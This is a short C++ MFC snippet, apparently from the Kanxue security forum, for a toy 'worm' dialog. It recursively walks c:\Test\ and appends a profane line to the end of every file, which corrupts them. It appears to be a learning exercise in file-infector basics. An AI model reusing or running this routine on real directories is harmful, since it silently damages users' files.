void CWormDlg::OnFindFile() { // TODO: Add your control notification handler code here CString xiaohao; xiaohao="c:\\Test\\"; BrowseDir(xiaohao);}void CWormDlg::BrowseDir(CString strDir){ CFileFind ff; CString szDir = strDir; if(szDir.Right(1)!="\\") szDir+="\\"; szDir+="*.*"; BOOL res = ff.FindFile(szDir); while(res) { res = ff.FindNextFile(); if(ff.IsDirectory()&&!ff.IsDots()) { BrowseDir(ff.GetFilePath()); } else if(!ff.IsDirectory() && !ff.IsDots()) { CString str; str.Format("当前访问的文件:%s",ff.GetFilePath()); GanRan(str); MessageBox(str); } } ff.Close();}void CWormDlg::GanRan(CString Name){ CString str; CString WriteBuf="Fuck you\r\n"; str = Name; MessageBox(str); CFile file; file.Open(str,CFile::modeNoTruncate | CFile::modeWrite); file.SeekToEnd(); file.Write(WriteBuf,WriteBuf.GetLength()); file.Close();}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!